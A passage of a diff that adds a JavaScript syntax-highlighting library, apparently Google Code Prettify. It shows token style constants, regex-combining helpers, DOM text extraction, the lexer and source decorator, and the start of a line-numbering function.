+          PERL_KEYWORDS, PYTHON_KEYWORDS, RUBY_KEYWORDS, SH_KEYWORDS];
+      var C_TYPES = /^(DIR|FILE|array|vector|(de|priority_)?queue|(forward_)?list|stack|(const_)?(reverse_)?iterator|(unordered_)?(multi)?(set|map)|bitset|u?(int|float)\d*)\b/;
+    
+      // token style names.  correspond to css classes
+      /**
+       * token style for a string literal
+       * @const
+       */
+      var PR_STRING = 'str';
+      /**
+       * token style for a keyword
+       * @const
+       */
+      var PR_KEYWORD = 'kwd';
+      /**
+       * token style for a comment
+       * @const
+       */
+      var PR_COMMENT = 'com';
+      /**
+       * token style for a type
+       * @const
+       */
+      var PR_TYPE = 'typ';
+      /**
+       * token style for a literal value.  e.g. 1, null, true.
+       * @const
+       */
+      var PR_LITERAL = 'lit';
+      /**
+       * token style for a punctuation string.
+       * @const
+       */
+      var PR_PUNCTUATION = 'pun';
+      /**
+       * token style for plain text.
+       * @const
+       */
+      var PR_PLAIN = 'pln';
+    
+      /**
+       * token style for an sgml tag.
+       * @const
+       */
+      var PR_TAG = 'tag';
+      /**
+       * token style for a markup declaration such as a DOCTYPE.
+       * @const
+       */
+      var PR_DECLARATION = 'dec';
+      /**
+       * token style for embedded source.
+       * @const
+       */
+      var PR_SOURCE = 'src';
+      /**
+       * token style for an sgml attribute name.
+       * @const
+       */
+      var PR_ATTRIB_NAME = 'atn';
+      /**
+       * token style for an sgml attribute value.
+       * @const
+       */
+      var PR_ATTRIB_VALUE = 'atv';
+    
+      /**
+       * A class that indicates a section of markup that is not code, e.g. to allow
+       * embedding of line numbers within code listings.
+       * @const
+       */
+      var PR_NOCODE = 'nocode';
+    
+      
+      
+      /**
+       * A set of tokens that can precede a regular expression literal in
+       * javascript
+       * http://web.archive.org/web/20070717142515/http://www.mozilla.org/js/language/js20/rationale/syntax.html
+       * has the full list, but I've removed ones that might be problematic when
+       * seen in languages that don't support regular expression literals.
+       *
+       * <p>Specifically, I've removed any keywords that can't precede a regexp
+       * literal in a syntactically legal javascript program, and I've removed the
+       * "in" keyword since it's not a keyword in many languages, and might be used
+       * as a count of inches.
+       *
+       * <p>The link above does not accurately describe EcmaScript rules since
+       * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works
+       * very well in practice.
+       *
+       * @private
+       * @const
+       */
+      var REGEXP_PRECEDER_PATTERN = '(?:^^\\.?|[+-]|[!=]=?=?|\\#|%=?|&&?=?|\\(|\\*=?|[+\\-]=|->|\\/=?|::?|<<?=?|>>?>?=?|,|;|\\?|@|\\[|~|{|\\^\\^?=?|\\|\\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\s*';
+      
+      // CAVEAT: this does not properly handle the case where a regular
+      // expression immediately follows another since a regular expression may
+      // have flags for case-sensitivity and the like.  Having regexp tokens
+      // adjacent is not valid in any language I'm aware of, so I'm punting.
+      // TODO: maybe style special characters inside a regexp as punctuation.
+    
+      /**
+       * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally
+       * matches the union of the sets of strings matched by the input RegExp.
+       * Since it matches globally, if the input strings have a start-of-input
+       * anchor (/^.../), it is ignored for the purposes of unioning.
+       * @param {Array.<RegExp>} regexs non multiline, non-global regexs.
+       * @return {RegExp} a global regex.
+       */
+      function combinePrefixPatterns(regexs) {
+        var capturedGroupIndex = 0;
+      
+        var needToFoldCase = false;
+        var ignoreCase = false;
+        for (var i = 0, n = regexs.length; i < n; ++i) {
+          var regex = regexs[i];
+          if (regex.ignoreCase) {
+            ignoreCase = true;
+          } else if (/[a-z]/i.test(regex.source.replace(
+                         /\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi, ''))) {
+            needToFoldCase = true;
+            ignoreCase = false;
+            break;
+          }
+        }
+      
+        var escapeCharToCodeUnit = {
+          'b': 8,
+          't': 9,
+          'n': 0xa,
+          'v': 0xb,
+          'f': 0xc,
+          'r': 0xd
+        };
+      
+        function decodeEscape(charsetPart) {
+          var cc0 = charsetPart.charCodeAt(0);
+          if (cc0 !== 92 /* \\ */) {
+            return cc0;
+          }
+          var c1 = charsetPart.charAt(1);
+          cc0 = escapeCharToCodeUnit[c1];
+          if (cc0) {
+            return cc0;
+          } else if ('0' <= c1 && c1 <= '7') {
+            return parseInt(charsetPart.substring(1), 8);
+          } else if (c1 === 'u' || c1 === 'x') {
+            return parseInt(charsetPart.substring(2), 16);
+          } else {
+            return charsetPart.charCodeAt(1);
+          }
+        }
+      
+        function encodeEscape(charCode) {
+          if (charCode < 0x20) {
+            return (charCode < 0x10 ? '\\x0' : '\\x') + charCode.toString(16);
+          }
+          var ch = String.fromCharCode(charCode);
+          return (ch === '\\' || ch === '-' || ch === ']' || ch === '^')
+              ? "\\" + ch : ch;
+        }
+      
+        function caseFoldCharset(charSet) {
+          var charsetParts = charSet.substring(1, charSet.length - 1).match(
+              new RegExp(
+                  '\\\\u[0-9A-Fa-f]{4}'
+                  + '|\\\\x[0-9A-Fa-f]{2}'
+                  + '|\\\\[0-3][0-7]{0,2}'
+                  + '|\\\\[0-7]{1,2}'
+                  + '|\\\\[\\s\\S]'
+                  + '|-'
+                  + '|[^-\\\\]',
+                  'g'));
+          var ranges = [];
+          var inverse = charsetParts[0] === '^';
+      
+          var out = ['['];
+          if (inverse) { out.push('^'); }
+      
+          for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) {
+            var p = charsetParts[i];
+            if (/\\[bdsw]/i.test(p)) {  // Don't muck with named groups.
+              out.push(p);
+            } else {
+              var start = decodeEscape(p);
+              var end;
+              if (i + 2 < n && '-' === charsetParts[i + 1]) {
+                end = decodeEscape(charsetParts[i + 2]);
+                i += 2;
+              } else {
+                end = start;
+              }
+              ranges.push([start, end]);
+              // If the range might intersect letters, then expand it.
+              // This case handling is too simplistic.
+              // It does not deal with non-latin case folding.
+              // It works for latin source code identifiers though.
+              if (!(end < 65 || start > 122)) {
+                if (!(end < 65 || start > 90)) {
+                  ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]);
+                }
+                if (!(end < 97 || start > 122)) {
+                  ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]);
+                }
+              }
+            }
+          }
+      
+          // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]]
+          // -> [[1, 12], [14, 14], [16, 17]]
+          ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1]  - a[1]); });
+          var consolidatedRanges = [];
+          var lastRange = [];
+          for (var i = 0; i < ranges.length; ++i) {
+            var range = ranges[i];
+            if (range[0] <= lastRange[1] + 1) {
+              lastRange[1] = Math.max(lastRange[1], range[1]);
+            } else {
+              consolidatedRanges.push(lastRange = range);
+            }
+          }
+      
+          for (var i = 0; i < consolidatedRanges.length; ++i) {
+            var range = consolidatedRanges[i];
+            out.push(encodeEscape(range[0]));
+            if (range[1] > range[0]) {
+              if (range[1] + 1 > range[0]) { out.push('-'); }
+              out.push(encodeEscape(range[1]));
+            }
+          }
+          out.push(']');
+          return out.join('');
+        }
+      
+        function allowAnywhereFoldCaseAndRenumberGroups(regex) {
+          // Split into character sets, escape sequences, punctuation strings
+          // like ('(', '(?:', ')', '^'), and runs of characters that do not
+          // include any of the above.
+          var parts = regex.source.match(
+              new RegExp(
+                  '(?:'
+                  + '\\[(?:[^\\x5C\\x5D]|\\\\[\\s\\S])*\\]'  // a character set
+                  + '|\\\\u[A-Fa-f0-9]{4}'  // a unicode escape
+                  + '|\\\\x[A-Fa-f0-9]{2}'  // a hex escape
+                  + '|\\\\[0-9]+'  // a back-reference or octal escape
+                  + '|\\\\[^ux0-9]'  // other escape sequence
+                  + '|\\(\\?[:!=]'  // start of a non-capturing group
+                  + '|[\\(\\)\\^]'  // start/end of a group, or line start
+                  + '|[^\\x5B\\x5C\\(\\)\\^]+'  // run of other characters
+                  + ')',
+                  'g'));
+          var n = parts.length;
+      
+          // Maps captured group numbers to the number they will occupy in
+          // the output or to -1 if that has not been determined, or to
+          // undefined if they need not be capturing in the output.
+          var capturedGroups = [];
+      
+          // Walk over and identify back references to build the capturedGroups
+          // mapping.
+          for (var i = 0, groupIndex = 0; i < n; ++i) {
+            var p = parts[i];
+            if (p === '(') {
+              // groups are 1-indexed, so max group index is count of '('
+              ++groupIndex;
+            } else if ('\\' === p.charAt(0)) {
+              var decimalValue = +p.substring(1);
+              if (decimalValue) {
+                if (decimalValue <= groupIndex) {
+                  capturedGroups[decimalValue] = -1;
+                } else {
+                  // Replace with an unambiguous escape sequence so that
+                  // an octal escape sequence does not turn into a backreference
+                  // to a capturing group from an earlier regex.
+                  parts[i] = encodeEscape(decimalValue);
+                }
+              }
+            }
+          }
+      
+          // Renumber groups and reduce capturing groups to non-capturing groups
+          // where possible.
+          for (var i = 1; i < capturedGroups.length; ++i) {
+            if (-1 === capturedGroups[i]) {
+              capturedGroups[i] = ++capturedGroupIndex;
+            }
+          }
+          for (var i = 0, groupIndex = 0; i < n; ++i) {
+            var p = parts[i];
+            if (p === '(') {
+              ++groupIndex;
+              if (!capturedGroups[groupIndex]) {
+                parts[i] = '(?:';
+              }
+            } else if ('\\' === p.charAt(0)) {
+              var decimalValue = +p.substring(1);
+              if (decimalValue && decimalValue <= groupIndex) {
+                parts[i] = '\\' + capturedGroups[decimalValue];
+              }
+            }
+          }
+      
+          // Remove any prefix anchors so that the output will match anywhere.
+          // ^^ really does mean an anchored match though.
+          for (var i = 0; i < n; ++i) {
+            if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; }
+          }
+      
+          // Expand letters to groups to handle mixing of case-sensitive and
+          // case-insensitive patterns if necessary.
+          if (regex.ignoreCase && needToFoldCase) {
+            for (var i = 0; i < n; ++i) {
+              var p = parts[i];
+              var ch0 = p.charAt(0);
+              if (p.length >= 2 && ch0 === '[') {
+                parts[i] = caseFoldCharset(p);
+              } else if (ch0 !== '\\') {
+                // TODO: handle letters in numeric escapes.
+                parts[i] = p.replace(
+                    /[a-zA-Z]/g,
+                    function (ch) {
+                      var cc = ch.charCodeAt(0);
+                      return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']';
+                    });
+              }
+            }
+          }
+      
+          return parts.join('');
+        }
+      
+        var rewritten = [];
+        for (var i = 0, n = regexs.length; i < n; ++i) {
+          var regex = regexs[i];
+          if (regex.global || regex.multiline) { throw new Error('' + regex); }
+          rewritten.push(
+              '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')');
+        }
+      
+        return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g');
+      }
+    
+      /**
+       * Split markup into a string of source code and an array mapping ranges in
+       * that string to the text nodes in which they appear.
+       *
+       * <p>
+       * The HTML DOM structure:</p>
+       * <pre>
+       * (Element   "p"
+       *   (Element "b"
+       *     (Text  "print "))       ; #1
+       *   (Text    "'Hello '")      ; #2
+       *   (Element "br")            ; #3
+       *   (Text    "  + 'World';")) ; #4
+       * </pre>
+       * <p>
+       * corresponds to the HTML
+       * {@code <p><b>print </b>'Hello '<br>  + 'World';</p>}.</p>
+       *
+       * <p>
+       * It will produce the output:</p>
+       * <pre>
+       * {
+       *   sourceCode: "print 'Hello '\n  + 'World';",
+       *   //                     1          2
+       *   //           012345678901234 5678901234567
+       *   spans: [0, #1, 6, #2, 14, #3, 15, #4]
+       * }
+       * </pre>
+       * <p>
+       * where #1 is a reference to the {@code "print "} text node above, and so
+       * on for the other text nodes.
+       * </p>
+       *
+       * <p>
+       * The {@code} spans array is an array of pairs.  Even elements are the start
+       * indices of substrings, and odd elements are the text nodes (or BR elements)
+       * that contain the text for those substrings.
+       * Substrings continue until the next index or the end of the source.
+       * </p>
+       *
+       * @param {Node} node an HTML DOM subtree containing source-code.
+       * @param {boolean|number} isPreformatted truthy if white-space in
+       *    text nodes should be considered significant.
+       * @return {SourceSpansT} source code and the nodes in which they occur.
+       */
+      function extractSourceSpans(node, isPreformatted) {
+        var nocode = /(?:^|\s)nocode(?:\s|$)/;
+      
+        var chunks = [];
+        var length = 0;
+        var spans = [];
+        var k = 0;
+      
+        function walk(node) {
+          var type = node.nodeType;
+          if (type == 1) {  // Element
+            if (nocode.test(node.className)) { return; }
+            for (var child = node.firstChild; child; child = child.nextSibling) {
+              walk(child);
+            }
+            var nodeName = node.nodeName.toLowerCase();
+            if ('br' === nodeName || 'li' === nodeName) {
+              chunks[k] = '\n';
+              spans[k << 1] = length++;
+              spans[(k++ << 1) | 1] = node;
+            }
+          } else if (type == 3 || type == 4) {  // Text
+            var text = node.nodeValue;
+            if (text.length) {
+              if (!isPreformatted) {
+                text = text.replace(/[ \t\r\n]+/g, ' ');
+              } else {
+                text = text.replace(/\r\n?/g, '\n');  // Normalize newlines.
+              }
+              // TODO: handle tabs here?
+              chunks[k] = text;
+              spans[k << 1] = length;
+              length += text.length;
+              spans[(k++ << 1) | 1] = node;
+            }
+          }
+        }
+      
+        walk(node);
+      
+        return {
+          sourceCode: chunks.join('').replace(/\n$/, ''),
+          spans: spans
+        };
+      }
+    
+      /**
+       * Apply the given language handler to sourceCode and add the resulting
+       * decorations to out.
+       * @param {!Element} sourceNode
+       * @param {number} basePos the index of sourceCode within the chunk of source
+       *    whose decorations are already present on out.
+       * @param {string} sourceCode
+       * @param {function(JobT)} langHandler
+       * @param {DecorationsT} out
+       */
+      function appendDecorations(
+          sourceNode, basePos, sourceCode, langHandler, out) {
+        if (!sourceCode) { return; }
+        /** @type {JobT} */
+        var job = {
+          sourceNode: sourceNode,
+          pre: 1,
+          langExtension: null,
+          numberLines: null,
+          sourceCode: sourceCode,
+          spans: null,
+          basePos: basePos,
+          decorations: null
+        };
+        langHandler(job);
+        out.push.apply(out, job.decorations);
+      }
+    
+      var notWs = /\S/;
+    
+      /**
+       * Given an element, if it contains only one child element and any text nodes
+       * it contains contain only space characters, return the sole child element.
+       * Otherwise returns undefined.
+       * <p>
+       * This is meant to return the CODE element in {@code <pre><code ...>} when
+       * there is a single child element that contains all the non-space textual
+       * content, but not to return anything where there are multiple child elements
+       * as in {@code <pre><code>...</code><code>...</code></pre>} or when there
+       * is textual content.
+       */
+      function childContentWrapper(element) {
+        var wrapper = undefined;
+        for (var c = element.firstChild; c; c = c.nextSibling) {
+          var type = c.nodeType;
+          wrapper = (type === 1)  // Element Node
+              ? (wrapper ? element : c)
+              : (type === 3)  // Text Node
+              ? (notWs.test(c.nodeValue) ? element : wrapper)
+              : wrapper;
+        }
+        return wrapper === element ? undefined : wrapper;
+      }
+    
+      /** Given triples of [style, pattern, context] returns a lexing function,
+        * The lexing function interprets the patterns to find token boundaries and
+        * returns a decoration list of the form
+        * [index_0, style_0, index_1, style_1, ..., index_n, style_n]
+        * where index_n is an index into the sourceCode, and style_n is a style
+        * constant like PR_PLAIN.  index_n-1 <= index_n, and style_n-1 applies to
+        * all characters in sourceCode[index_n-1:index_n].
+        *
+        * The stylePatterns is a list whose elements have the form
+        * [style : string, pattern : RegExp, DEPRECATED, shortcut : string].
+        *
+        * Style is a style constant like PR_PLAIN, or can be a string of the
+        * form 'lang-FOO', where FOO is a language extension describing the
+        * language of the portion of the token in $1 after pattern executes.
+        * E.g., if style is 'lang-lisp', and group 1 contains the text
+        * '(hello (world))', then that portion of the token will be passed to the
+        * registered lisp handler for formatting.
+        * The text before and after group 1 will be restyled using this decorator
+        * so decorators should take care that this doesn't result in infinite
+        * recursion.  For example, the HTML lexer rule for SCRIPT elements looks
+        * something like ['lang-js', /<[s]cript>(.+?)<\/script>/].  This may match
+        * '<script>foo()<\/script>', which would cause the current decorator to
+        * be called with '<script>' which would not match the same rule since
+        * group 1 must not be empty, so it would be instead styled as PR_TAG by
+        * the generic tag rule.  The handler registered for the 'js' extension would
+        * then be called with 'foo()', and finally, the current decorator would
+        * be called with '<\/script>' which would not match the original rule and
+        * so the generic tag rule would identify it as a tag.
+        *
+        * Pattern must only match prefixes, and if it matches a prefix, then that
+        * match is considered a token with the same style.
+        *
+        * Context is applied to the last non-whitespace, non-comment token
+        * recognized.
+        *
+        * Shortcut is an optional string of characters, any of which, if the first
+        * character, gurantee that this pattern and only this pattern matches.
+        *
+        * @param {Array} shortcutStylePatterns patterns that always start with
+        *   a known character.  Must have a shortcut string.
+        * @param {Array} fallthroughStylePatterns patterns that will be tried in
+        *   order if the shortcut ones fail.  May have shortcuts.
+        *
+        * @return {function (JobT)} a function that takes an undecorated job and
+        *   attaches a list of decorations.
+        */
+      function createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns) {
+        var shortcuts = {};
+        var tokenizer;
+        (function () {
+          var allPatterns = shortcutStylePatterns.concat(fallthroughStylePatterns);
+          var allRegexs = [];
+          var regexKeys = {};
+          for (var i = 0, n = allPatterns.length; i < n; ++i) {
+            var patternParts = allPatterns[i];
+            var shortcutChars = patternParts[3];
+            if (shortcutChars) {
+              for (var c = shortcutChars.length; --c >= 0;) {
+                shortcuts[shortcutChars.charAt(c)] = patternParts;
+              }
+            }
+            var regex = patternParts[1];
+            var k = '' + regex;
+            if (!regexKeys.hasOwnProperty(k)) {
+              allRegexs.push(regex);
+              regexKeys[k] = null;
+            }
+          }
+          allRegexs.push(/[\0-\uffff]/);
+          tokenizer = combinePrefixPatterns(allRegexs);
+        })();
+    
+        var nPatterns = fallthroughStylePatterns.length;
+    
+        /**
+         * Lexes job.sourceCode and attaches an output array job.decorations of
+         * style classes preceded by the position at which they start in
+         * job.sourceCode in order.
+         *
+         * @type{function (JobT)}
+         */
+        var decorate = function (job) {
+          var sourceCode = job.sourceCode, basePos = job.basePos;
+          var sourceNode = job.sourceNode;
+          /** Even entries are positions in source in ascending order.  Odd enties
+            * are style markers (e.g., PR_COMMENT) that run from that position until
+            * the end.
+            * @type {DecorationsT}
+            */
+          var decorations = [basePos, PR_PLAIN];
+          var pos = 0;  // index into sourceCode
+          var tokens = sourceCode.match(tokenizer) || [];
+          var styleCache = {};
+    
+          for (var ti = 0, nTokens = tokens.length; ti < nTokens; ++ti) {
+            var token = tokens[ti];
+            var style = styleCache[token];
+            var match = void 0;
+    
+            var isEmbedded;
+            if (typeof style === 'string') {
+              isEmbedded = false;
+            } else {
+              var patternParts = shortcuts[token.charAt(0)];
+              if (patternParts) {
+                match = token.match(patternParts[1]);
+                style = patternParts[0];
+              } else {
+                for (var i = 0; i < nPatterns; ++i) {
+                  patternParts = fallthroughStylePatterns[i];
+                  match = token.match(patternParts[1]);
+                  if (match) {
+                    style = patternParts[0];
+                    break;
+                  }
+                }
+    
+                if (!match) {  // make sure that we make progress
+                  style = PR_PLAIN;
+                }
+              }
+    
+              isEmbedded = style.length >= 5 && 'lang-' === style.substring(0, 5);
+              if (isEmbedded && !(match && typeof match[1] === 'string')) {
+                isEmbedded = false;
+                style = PR_SOURCE;
+              }
+    
+              if (!isEmbedded) { styleCache[token] = style; }
+            }
+    
+            var tokenStart = pos;
+            pos += token.length;
+    
+            if (!isEmbedded) {
+              decorations.push(basePos + tokenStart, style);
+            } else {  // Treat group 1 as an embedded block of source code.
+              var embeddedSource = match[1];
+              var embeddedSourceStart = token.indexOf(embeddedSource);
+              var embeddedSourceEnd = embeddedSourceStart + embeddedSource.length;
+              if (match[2]) {
+                // If embeddedSource can be blank, then it would match at the
+                // beginning which would cause us to infinitely recurse on the
+                // entire token, so we catch the right context in match[2].
+                embeddedSourceEnd = token.length - match[2].length;
+                embeddedSourceStart = embeddedSourceEnd - embeddedSource.length;
+              }
+              var lang = style.substring(5);
+              // Decorate the left of the embedded source
+              appendDecorations(
+                  sourceNode,
+                  basePos + tokenStart,
+                  token.substring(0, embeddedSourceStart),
+                  decorate, decorations);
+              // Decorate the embedded source
+              appendDecorations(
+                  sourceNode,
+                  basePos + tokenStart + embeddedSourceStart,
+                  embeddedSource,
+                  langHandlerForExtension(lang, embeddedSource),
+                  decorations);
+              // Decorate the right of the embedded section
+              appendDecorations(
+                  sourceNode,
+                  basePos + tokenStart + embeddedSourceEnd,
+                  token.substring(embeddedSourceEnd),
+                  decorate, decorations);
+            }
+          }
+          job.decorations = decorations;
+        };
+        return decorate;
+      }
+    
+      /** returns a function that produces a list of decorations from source text.
+        *
+        * This code treats ", ', and ` as string delimiters, and \ as a string
+        * escape.  It does not recognize perl's qq() style strings.
+        * It has no special handling for double delimiter escapes as in basic, or
+        * the tripled delimiters used in python, but should work on those regardless
+        * although in those cases a single string literal may be broken up into
+        * multiple adjacent string literals.
+        *
+        * It recognizes C, C++, and shell style comments.
+        *
+        * @param {Object} options a set of optional parameters.
+        * @return {function (JobT)} a function that examines the source code
+        *     in the input job and builds a decoration list which it attaches to
+        *     the job.
+        */
+      function sourceDecorator(options) {
+        var shortcutStylePatterns = [], fallthroughStylePatterns = [];
+        if (options['tripleQuotedStrings']) {
+          // '''multi-line-string''', 'single-line-string', and double-quoted
+          shortcutStylePatterns.push(
+              [PR_STRING,  /^(?:\'\'\'(?:[^\'\\]|\\[\s\S]|\'{1,2}(?=[^\']))*(?:\'\'\'|$)|\"\"\"(?:[^\"\\]|\\[\s\S]|\"{1,2}(?=[^\"]))*(?:\"\"\"|$)|\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$))/,
+               null, '\'"']);
+        } else if (options['multiLineStrings']) {
+          // 'multi-line-string', "multi-line-string"
+          shortcutStylePatterns.push(
+              [PR_STRING,  /^(?:\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$)|\`(?:[^\\\`]|\\[\s\S])*(?:\`|$))/,
+               null, '\'"`']);
+        } else {
+          // 'single-line-string', "single-line-string"
+          shortcutStylePatterns.push(
+              [PR_STRING,
+               /^(?:\'(?:[^\\\'\r\n]|\\.)*(?:\'|$)|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/,
+               null, '"\'']);
+        }
+        if (options['verbatimStrings']) {
+          // verbatim-string-literal production from the C# grammar.  See issue 93.
+          fallthroughStylePatterns.push(
+              [PR_STRING, /^@\"(?:[^\"]|\"\")*(?:\"|$)/, null]);
+        }
+        var hc = options['hashComments'];
+        if (hc) {
+          if (options['cStyleComments']) {
+            if (hc > 1) {  // multiline hash comments
+              shortcutStylePatterns.push(
+                  [PR_COMMENT, /^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/, null, '#']);
+            } else {
+              // Stop C preprocessor declarations at an unclosed open comment
+              shortcutStylePatterns.push(
+                  [PR_COMMENT, /^#(?:(?:define|e(?:l|nd)if|else|error|ifn?def|include|line|pragma|undef|warning)\b|[^\r\n]*)/,
+                   null, '#']);
+            }
+            // #include <stdio.h>
+            fallthroughStylePatterns.push(
+                [PR_STRING,
+                 /^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h(?:h|pp|\+\+)?|[a-z]\w*)>/,
+                 null]);
+          } else {
+            shortcutStylePatterns.push([PR_COMMENT, /^#[^\r\n]*/, null, '#']);
+          }
+        }
+        if (options['cStyleComments']) {
+          fallthroughStylePatterns.push([PR_COMMENT, /^\/\/[^\r\n]*/, null]);
+          fallthroughStylePatterns.push(
+              [PR_COMMENT, /^\/\*[\s\S]*?(?:\*\/|$)/, null]);
+        }
+        var regexLiterals = options['regexLiterals'];
+        if (regexLiterals) {
+          /**
+           * @const
+           */
+          var regexExcls = regexLiterals > 1
+            ? ''  // Multiline regex literals
+            : '\n\r';
+          /**
+           * @const
+           */
+          var regexAny = regexExcls ? '.' : '[\\S\\s]';
+          /**
+           * @const
+           */
+          var REGEX_LITERAL = (
+              // A regular expression literal starts with a slash that is
+              // not followed by * or / so that it is not confused with
+              // comments.
+              '/(?=[^/*' + regexExcls + '])'
+              // and then contains any number of raw characters,
+              + '(?:[^/\\x5B\\x5C' + regexExcls + ']'
+              // escape sequences (\x5C),
+              +    '|\\x5C' + regexAny
+              // or non-nesting character sets (\x5B\x5D);
+              +    '|\\x5B(?:[^\\x5C\\x5D' + regexExcls + ']'
+              +             '|\\x5C' + regexAny + ')*(?:\\x5D|$))+'
+              // finally closed by a /.
+              + '/');
+          fallthroughStylePatterns.push(
+              ['lang-regex',
+               RegExp('^' + REGEXP_PRECEDER_PATTERN + '(' + REGEX_LITERAL + ')')
+               ]);
+        }
+    
+        var types = options['types'];
+        if (types) {
+          fallthroughStylePatterns.push([PR_TYPE, types]);
+        }
+    
+        var keywords = ("" + options['keywords']).replace(/^ | $/g, '');
+        if (keywords.length) {
+          fallthroughStylePatterns.push(
+              [PR_KEYWORD,
+               new RegExp('^(?:' + keywords.replace(/[\s,]+/g, '|') + ')\\b'),
+               null]);
+        }
+    
+        shortcutStylePatterns.push([PR_PLAIN,       /^\s+/, null, ' \r\n\t\xA0']);
+    
+        var punctuation =
+          // The Bash man page says
+    
+          // A word is a sequence of characters considered as a single
+          // unit by GRUB. Words are separated by metacharacters,
+          // which are the following plus space, tab, and newline: { }
+          // | & $ ; < >
+          // ...
+    
+          // A word beginning with # causes that word and all remaining
+          // characters on that line to be ignored.
+    
+          // which means that only a '#' after /(?:^|[{}|&$;<>\s])/ starts a
+          // comment but empirically
+          // $ echo {#}
+          // {#}
+          // $ echo \$#
+          // $#
+          // $ echo }#
+          // }#
+    
+          // so /(?:^|[|&;<>\s])/ is more appropriate.
+    
+          // http://gcc.gnu.org/onlinedocs/gcc-2.95.3/cpp_1.html#SEC3
+          // suggests that this definition is compatible with a
+          // default mode that tries to use a single token definition
+          // to recognize both bash/python style comments and C
+          // preprocessor directives.
+    
+          // This definition of punctuation does not include # in the list of
+          // follow-on exclusions, so # will not be broken before if preceeded
+          // by a punctuation character.  We could try to exclude # after
+          // [|&;<>] but that doesn't seem to cause many major problems.
+          // If that does turn out to be a problem, we should change the below
+          // when hc is truthy to include # in the run of punctuation characters
+          // only when not followint [|&;<>].
+          '^.[^\\s\\w.$@\'"`/\\\\]*';
+        if (options['regexLiterals']) {
+          punctuation += '(?!\s*\/)';
+        }
+    
+        fallthroughStylePatterns.push(
+            // TODO(mikesamuel): recognize non-latin letters and numerals in idents
+            [PR_LITERAL,     /^@[a-z_$][a-z_$@0-9]*/i, null],
+            [PR_TYPE,        /^(?:[@_]?[A-Z]+[a-z][A-Za-z_$@0-9]*|\w+_t\b)/, null],
+            [PR_PLAIN,       /^[a-z_$][a-z_$@0-9]*/i, null],
+            [PR_LITERAL,
+             new RegExp(
+                 '^(?:'
+                 // A hex number
+                 + '0x[a-f0-9]+'
+                 // or an octal or decimal number,
+                 + '|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)'
+                 // possibly in scientific notation
+                 + '(?:e[+\\-]?\\d+)?'
+                 + ')'
+                 // with an optional modifier like UL for unsigned long
+                 + '[a-z]*', 'i'),
+             null, '0123456789'],
+            // Don't treat escaped quotes in bash as starting strings.
+            // See issue 144.
+            [PR_PLAIN,       /^\\[\s\S]?/, null],
+            [PR_PUNCTUATION, new RegExp(punctuation), null]);
+    
+        return createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns);
+      }
+    
+      var decorateSource = sourceDecorator({
+            'keywords': ALL_KEYWORDS,
+            'hashComments': true,
+            'cStyleComments': true,
+            'multiLineStrings': true,
+            'regexLiterals': true
+          });
+    
+      /**
+       * Given a DOM subtree, wraps it in a list, and puts each line into its own
+       * list item.
+       *
+       * @param {Node} node modified in place.  Its content is pulled into an
+       *     HTMLOListElement, and each line is moved into a separate list item.
+       *     This requires cloning elements, so the input might not have unique
+       *     IDs after numbering.
+       * @param {number|null|boolean} startLineNum
+       *     If truthy, coerced to an integer which is the 1-indexed line number
+       *     of the first line of code.  The number of the first line will be
+       *     attached to the list.
+       * @param {boolean} isPreformatted true iff white-space in text nodes should
+       *     be treated as significant.
+       */
+      function numberLines(node, startLineNum, isPreformatted) {
+        var nocode = /(?:^|\s)nocode(?:\s|$)/;
+        var lineBreak = /\r\n?|\n/;
+      
+        var document = node.ownerDocument;
+      
+        var li = document.createElement('li');
+        while (node.firstChild) {
+          li.appendChild(node.firstChild);
+        }
+        // An array of lines.  We split below, so this is initialized to one
+        // un-split line.
+        var listItems = [li];
+      
+        function walk(node) {
+          var type = node.nodeType;
+          if (type == 1 && !nocode.test(node.className)) {  // Element
+            if ('br' === node.nodeName) {
+              breakAfter(node);
+              // Discard the <BR> since it is now flush against a </LI>.
+              if (node.parentNode) {
+                node.parentNode.removeChild(node);
+              }
+            } else {
+              for (var child = node.firstChild; child; child = child.nextSibling) {
+                walk(child);
+              }
+            }
+          } else if ((type == 3 || type == 4) && isPreformatted) {  // Text
+            var text = node.nodeValue;
+            var match = text.match(lineBreak);
+            if (match) {
+              var firstLine = text.substring(0, match.index);
+              node.nodeValue = firstLine;
+              var tail = text.substring(match.index + match[0].length);
+              if (tail) {
+                var parent = node.parentNode;
+                parent.insertBefore(
+                  document.createTextNode(tail), node.nextSibling);
+              }
+              breakAfter(node);
+              if (!firstLine) {
+                // Don't leave blank text nodes in the DOM.
+                node.parentNode.removeChild(node);
+              }
+            }
+          }
+        }
+      
+        // Split a line after the given node.
+        function breakAfter(lineEndNode) {
+          // If there's nothing to the right, then we can skip ending the line
+          // here, and move root-wards since splitting just before an end-tag
+          // would require us to create a bunch of empty copies.
+          while (!lineEndNode.nextSibling) {
+            lineEndNode = lineEndNode.parentNode;
+            if (!lineEndNode) { return; }
+          }
+      
+          function breakLeftOf(limit, copy) {
+            // Clone shallowly if this node needs to be on both sides of the break.
+            var rightSide = copy ? limit.cloneNode(false) : limit;
+            var parent = limit.parentNode;
+            if (parent) {
+              // We clone the parent chain.
+              // This helps us resurrect important styling elements that cross lines.
+              // E.g. in <i>Foo<br>Bar</i>
+              // should be rewritten to <li><i>Foo</i></li><li><i>Bar</i></li>.
